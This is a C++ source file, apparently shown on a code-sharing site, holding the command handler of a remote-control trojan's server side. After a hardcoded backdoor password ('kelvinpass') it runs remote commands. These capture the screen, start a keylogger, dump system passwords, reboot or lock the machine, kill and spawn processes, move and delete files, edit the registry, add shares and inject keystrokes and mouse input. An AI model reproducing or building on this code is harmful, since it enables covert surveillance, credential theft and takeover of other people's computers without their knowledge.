📄 perform_order.txt
字号:
/*
void CMainFrame::Perform_Order(CConnectSock* pSocket, CMsg *pMsg)
{
HDC hDC;
int nRC, i, j, iSize;
HGLOBAL lpFileData;
CString strPath, strName;
CString sPassword;
HANDLE hMem;
// DWORD dwOldX, dwOldY;
//No password function
if (pMsg == NULL) return;
switch (pMsg->m_wCmd)
{
case CMD_SERVER_CLOSE:
DestroyWindow ();
return;
case CMD_SOCKET_CLOSE: //Get socket close command OR read error
CloseSocket(pSocket);
Msg_Display (pMsg->m_strText);
return;
}
//Test Password
sPassword = pMsg->m_strPassword;
if (sPassword != "kelvinpass" && sPassword != m_strPassword)
{
Msg_Display(CString("Error Password:")+pMsg->m_strPassword);
Msg_Display(CString("Error Password:")+m_strPassword);
return;
}
switch (pMsg->m_wCmd)
{
/* case CMD_SERVER_CLOSE:
DestroyWindow ();
return;
case CMD_SOCKET_CLOSE:
CloseSocket(pSocket);
Msg_Display (pMsg->m_strText);
return;
*/
case CMD_GET_SCREEN_INFO:
pMsg->m_wCmd = CMD_GET_SCREEN_INFO;
hDC = CreateDC("DISPLAY",NULL,NULL,NULL);
pMsg->m_nBits = GetDeviceCaps(hDC, BITSPIXEL);
pMsg->m_nBits = pMsg->m_nBits * GetDeviceCaps(hDC, PLANES);
DeleteDC (hDC);
pMsg->m_rcArea = CRect(0,0,GetSystemMetrics (SM_CXSCREEN),GetSystemMetrics (SM_CYSCREEN));
SendMsg (pSocket,pMsg);
m_strState = "MSG: The screen information had sent.";
break;
case CMD_GET_SCREEN:
m_bCompress = pMsg->m_bCompress;
if ((Copy_Screen_To_Bitmap(pMsg->m_rcArea, pMsg->m_nBits)) == TRUE)
{
iSize = m_dwBmpSize;
if (m_bCompress == TRUE ) {
lpFileData = m_lpBmpData;
hMem = GlobalAlloc (GHND,m_dwBmpSize);
if (hMem == NULL) {
m_dwBmpSize = 0;
goto send001;
}
if ((m_lpBmpData = (LPSTR)GlobalLock (hMem)) == NULL)
{
m_dwBmpSize = 0;
GlobalFree(hMem);
goto send001;
}
iSize = m_Encode.ntEncode((char *)m_lpBmpData, (char *)lpFileData, m_dwBmpSize);
GlobalUnlock(lpFileData);
GlobalFree(lpFileData);
if (iSize < 0)
{
GlobalUnlock(m_lpBmpData);
GlobalFree(m_lpBmpData);
m_dwBmpSize = 0;
}
}//Compress
}
else //Error
{
m_dwBmpSize = 0;
}
send001:
pMsg->m_wCmd = CMD_GET_SCREEN;
pMsg->m_lpBmpData = m_lpBmpData;
pMsg->m_dwBmpInfoSize = m_dwBmpInfoSize;
pMsg->m_dwBmpSize = iSize;
pMsg->m_dwFileSize = m_dwBmpSize;
pMsg->m_bCompress = m_bCompress;
SendMsg (pSocket,pMsg);
GlobalUnlock(m_lpBmpData);
GlobalFree(m_lpBmpData);
/* if (pMsg->m_wCmd == CMD_SOCKET_CLOSE)
{ //Send Error
pMsg->m_dwBmpSize = 0;
SendMsg (pSocket,pMsg);
}
*/
break;
case CMD_KEY_START:
m_strParam = pMsg->m_strParam;
nRC = CmdProc_SysLogKeys ((LPSTR)(LPCTSTR)m_strParam);
if (nRC == 0)
m_strState = "MSG: The Key Log Started Successfully!";
else
m_strState = "MSG: The Key Log Started Failed";
break;
case CMD_KEY_END:
nRC = CmdProc_SysEndKeyLog ();
if (nRC == 0)
m_strState = "MSG: The Key End Successfully!";
else
m_strState = "MSG: The Key End Failed";
break;
case CMD_SYS_INFO:
CmdProc_SysInfo (this);
m_strState = "SYS: Get System Info End!";
break;
case CMD_SYS_PW:
CmdProc_SysListPasswords (this);
m_strState = "SYS: Get System Password End!";
break;
case CMD_SYS_REBOOT:
nRC = CmdProc_SysReboot ();
if (nRC == 0)
m_strState = "MSG: Reboot attempt failed!";
else
m_strState = "MSG: Rebooting now.";
break;
case CMD_SYS_LOCK:
CmdProc_SysLockup ();
// m_strState = "System Lock!";
return;
case CMD_SYS_MSGBOX:
strName = pMsg->m_strParam;
AfxMessageBox (strName,MB_OK);
m_strState = "MSG: The Message Box had displayed!";
break;
case CMD_NET_SHARE_LIST:
nRC = CmdProc_ListShare (this);
if (nRC == 0)
m_strState = "NET: Net Share List Finished!";
else
m_strState = "NET: Net Share List Failed";
break;
case CMD_NET_SHARE_ADD:
nRC = pMsg->m_strParam.Find ("|",0);
strPath = pMsg->m_strParam.Left (nRC);
strName = pMsg->m_strParam.Right (pMsg->m_strParam.GetLength() - nRC -1);
nRC = CmdProc_AddShare ((LPSTR)(LPCTSTR)strPath,(LPSTR)(LPCTSTR)strName);
if (nRC == 0)
m_strState = "MSG: Net Share Add Successfully!";
else
m_strState = "MSG: Net Share Add Failed";
break;
case CMD_NET_SHARE_DEL:
strName = pMsg->m_strParam;
nRC = CmdProc_DeleteShare ((LPSTR)(LPCTSTR)strName);
if (nRC == 0)
m_strState = "MSG: Net Share Del Successfully!";
else
m_strState = "MSG: Net Share Del Failed";
break;
case CMD_PROC_LIST:
strName = pMsg->m_strParam;
nRC = CmdProc_ProcessList ((LPSTR)(LPCTSTR)strName,this);
m_strState = "PROC: Process Enumerate Successfully!";
break;
case CMD_PROC_END:
strName = pMsg->m_strParam;
nRC = CmdProc_ProcessKill ((LPSTR)(LPCTSTR)strName);
if (nRC == 0)
m_strState = "MSG: Process Terminate Finished!";
else
m_strState = "MSG: Process Terminate Failed!";
break;
case CMD_PROC_NEW:
strName = pMsg->m_strParam;
nRC = CmdProc_ProcessSpawn ((LPSTR)(LPCTSTR)strName);
if (nRC == 0)
m_strState = "MSG: New Process create Successfully!";
else
m_strState = "MSG: New Process create Failed";
break;
case CMD_FILE_DIR:
strName = pMsg->m_strParam;
nRC = CmdProc_DirectoryList ((LPSTR)(LPCTSTR)strName);
m_strState = "MSG: Directory List Finished!";
break;
case CMD_FILE_FIND:
nRC = pMsg->m_strParam.Find ("|",0);
strPath = pMsg->m_strParam.Left (nRC);
if (strPath.GetLength () == 0)
break;
strName = pMsg->m_strParam.Right (pMsg->m_strParam.GetLength() - nRC -1);
if (strName.GetLength () == 0)
strName = "*.*";
nRC = CmdProc_FileFind ((LPSTR)(LPCTSTR)strPath,(LPSTR)(LPCTSTR)strName);
m_strState = "MSG: File Find Finished!";
break;
case CMD_FILE_DEL:
strName = pMsg->m_strParam;
nRC = CmdProc_FileDelete ((LPSTR)(LPCTSTR)strName);
if (nRC == 0)
m_strState = "MSG: File Delete Successfully!";
else
m_strState = "MSG: File Delete Failed";
break;
case CMD_FILE_COPY:
nRC = pMsg->m_strParam.Find ("|",0);
strPath = pMsg->m_strParam.Left (nRC);
strName = pMsg->m_strParam.Right (pMsg->m_strParam.GetLength() - nRC -1);
nRC = CmdProc_FileCopy ((LPSTR)(LPCTSTR)strPath,(LPSTR)(LPCTSTR)strName);
if (nRC == 0)
m_strState = "MSG: File Copy Successfully!";
else
m_strState = "MSG: File Copy Failed";
break;
case CMD_FILE_RENAME:
nRC = pMsg->m_strParam.Find ("|",0);
strPath = pMsg->m_strParam.Left (nRC);
strName = pMsg->m_strParam.Right (pMsg->m_strParam.GetLength() - nRC -1);
nRC = CmdProc_FileRename ((LPSTR)(LPCTSTR)strPath,(LPSTR)(LPCTSTR)strName);
if (nRC == 0)
m_strState = "MSG: File Rename Successfully!";
else
m_strState = "MSG: File Rename Failed";
break;
case CMD_FILE_VIEW:
strName = pMsg->m_strParam;
nRC = CmdProc_FileView ((LPSTR)(LPCTSTR)strName);
if (nRC == 0)
m_strState = "MSG: File View Successfully!";
else
m_strState = "MSG: File View Failed";
break;
case CMD_FILE_MAKE_DIR:
strName = pMsg->m_strParam;
nRC = CmdProc_DirectoryMake ((LPSTR)(LPCTSTR)strName);
if (nRC == 0)
m_strState = "MSG: Directory Create Successfully!";
else
m_strState = "MSG: Directory Create Failed";
break;
case CMD_FILE_REMOVE_DIR:
strName = pMsg->m_strParam;
nRC = CmdProc_DirectoryDelete ((LPSTR)(LPCTSTR)strName);
if (nRC == 0)
m_strState = "MSG: Directory Delete Successfully!";
else
m_strState = "MSG: Directory Delete Failed";
break;
case CMD_FILE_SET_ATTR:
nRC = pMsg->m_strParam.Find ("|",0);
strPath = pMsg->m_strParam.Left (nRC);
strName = pMsg->m_strParam.Right (pMsg->m_strParam.GetLength() - nRC -1);
nRC = CmdProc_SetFileAttr ((LPSTR)(LPCTSTR)strPath,(LPSTR)(LPCTSTR)strName);
if (nRC == 0)
m_strState = "MSG: File Set Attribute Successfully!";
else
m_strState = "MSG: Set Attribute Failed";
break;
case CMD_FILE_RECEIVE:
strName = pMsg->m_strParam;
lpFileData = CmdProc_ReceiveFile ((LPSTR)(LPCTSTR)strName);
if (lpFileData == NULL)
m_strState = "MSG: File Receive Failed!";
else
{
pMsg->m_wCmd = CMD_FILE_RECEIVE;
pMsg->m_lpFileData = lpFileData;
pMsg->m_dwFileSize = GlobalSize (lpFileData);
SendMsg (pSocket,pMsg);
GlobalFree (lpFileData);
m_strState = "MSG: File Receive Sucessfully";
}
break;
case CMD_FILE_SEND:
strName = pMsg->m_strParam;
nRC = CmdProc_SendFile ((LPSTR)(LPCTSTR)strName, pMsg->m_lpFileData);
if (nRC == 0)
m_strState = "MSG: File Send Successfully!";
else
m_strState = "MSG: File Send Failed";
break;
case CMD_FILE_CANCEL:
break;
case CMD_REG_CREATE_KEY:
strName = pMsg->m_strParam;
nRC = CmdProc_RegCreateKey ((LPSTR)(LPCTSTR)strName);
m_strState = "MSG: Reg Create Key Finished!";
break;
case CMD_REG_GET_VALUE:
nRC = pMsg->m_strParam.Find ("|",0);
strPath = pMsg->m_strParam.Left (nRC);
strName = pMsg->m_strParam.Right (pMsg->m_strParam.GetLength() - nRC -1);
nRC = CmdProc_RegGetValue ((LPSTR)(LPCTSTR)strPath,(LPSTR)(LPCTSTR)strName);
m_strState = "MSG: Reg Get Value Finished!";
break;
case CMD_REG_SET_VALUE:
nRC = pMsg->m_strParam.Find ("|",0);
strPath = pMsg->m_strParam.Left (nRC);
strName = pMsg->m_strParam.Right (pMsg->m_strParam.GetLength() - nRC -1);
nRC = CmdProc_RegSetValue ((LPSTR)(LPCTSTR)strPath,(LPSTR)(LPCTSTR)strName);
m_strState = "MSG: Reg Set Value Finished!";
break;
case CMD_REG_DELETE_KEY:
strName = pMsg->m_strParam;
nRC = CmdProc_RegDeleteKey ((LPSTR)(LPCTSTR)strName);
m_strState = "Reg Delete Key Finished!";
break;
case CMD_REG_DELETE_VALUE:
nRC = pMsg->m_strParam.Find ("|",0);
strPath = pMsg->m_strParam.Left (nRC);
strName = pMsg->m_strParam.Right (pMsg->m_strParam.GetLength() - nRC -1);
nRC = CmdProc_RegDeleteValue ((LPSTR)(LPCTSTR)strPath,(LPSTR)(LPCTSTR)strName);
m_strState = "MSG: Reg Delete Value Finished!";
break;
case CMD_REG_RENAME_KEY:
nRC = pMsg->m_strParam.Find ("|",0);
strPath = pMsg->m_strParam.Left (nRC);
strName = pMsg->m_strParam.Right (pMsg->m_strParam.GetLength() - nRC -1);
nRC = CmdProc_RegRenameKey ((LPSTR)(LPCTSTR)strPath,(LPSTR)(LPCTSTR)strName);
m_strState = "MSG: Reg Rename Key Finished!";
break;
case CMD_REG_RENAME_VALUE:
nRC = pMsg->m_strParam.Find ("|",0);
strPath = pMsg->m_strParam.Left (nRC);
strName = pMsg->m_strParam.Right (pMsg->m_strParam.GetLength() - nRC -1);
nRC = CmdProc_RegRenameValue ((LPSTR)(LPCTSTR)strPath,(LPSTR)(LPCTSTR)strName);
m_strState = "MSG: Reg Rename Value Finished!";
break;
case CMD_REG_ENUMERATE_KEYS:
strName = pMsg->m_strParam;
nRC = CmdProc_RegEnumKeys ((LPSTR)(LPCTSTR)strName);
m_strState = "MSG: Reg Enumerate Key Finished!";
break;
case CMD_REG_ENUMERATE_VAL:
strName = pMsg->m_strParam;
nRC = CmdProc_RegEnumValues ((LPSTR)(LPCTSTR)strName);
m_strState = "MSG: Reg Enumerate Value Finished!";
break;
case CMD_KEY_MOUSE_BUFFER:
CmdProc_SendKeysLog(); //打开线程
j = g_iInputEnd; //插入KEY&MOUSE
for (i =0 ; i < (int)pMsg->m_iSendPoint ; i++) {
g_vsInput[j].wCmd = pMsg->m_vsSendKey[i].wCmd;
g_vsInput[j].dwHookParam1 = pMsg->m_vsSendKey[i].dwHookParam1;
g_vsInput[j].dwHookParam2 = pMsg->m_vsSendKey[i].dwHookParam2;
g_vsInput[j].dwHookFlags = pMsg->m_vsSendKey[i].dwHookFlags;
j++;
if (j == MAX_SEND) j = 0;
if (j == g_iInputBegin )
{ if (j == 0) //还原
j = MAX_SEND -1;
else
j --;
break;
}
}
g_iInputEnd = j;
/* for (i =0 ; i < (int)pMsg->m_iSendPoint ; i++) {
switch (pMsg->m_vsSendKey[i].wCmd)
{
case CMD_KEY_HOOK:
keybd_event ((BYTE)pMsg->m_vsSendKey[i].dwHookParam1,
(BYTE)pMsg->m_vsSendKey[i].dwHookParam2,
pMsg->m_vsSendKey[i].dwHookFlags,
0);
break;
case CMD_MOUSE_HOOK:
mouse_event (pMsg->m_vsSendKey[i].dwHookFlags,
pMsg->m_vsSendKey[i].dwHookParam1,
pMsg->m_vsSendKey[i].dwHookParam2,
0,
0);
break;
}
}
*/
m_strState = "OK";
break;
/* case CMD_KEY_HOOK: //已过时
keybd_event ((BYTE)pMsg->m_dwHookParam1,
(BYTE)pMsg->m_dwHookParam2,
pMsg->m_dwHookFlags,
0);
return;
case CMD_MOUSE_HOOK:
mouse_event (pMsg->m_dwHookFlags,
pMsg->m_dwHookParam1,
pMsg->m_dwHookParam2,
0,
0);
return;
*/
default:
return;
}
if (pMsg->m_wCmd == CMD_SOCKET_CLOSE)
{ //Send Error
CloseSocket(pSocket);
return;
}
pMsg->m_wCmd = CMD_STATE_INFO;
pMsg->m_strText = m_strState;
SendMsg (pSocket,pMsg);
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -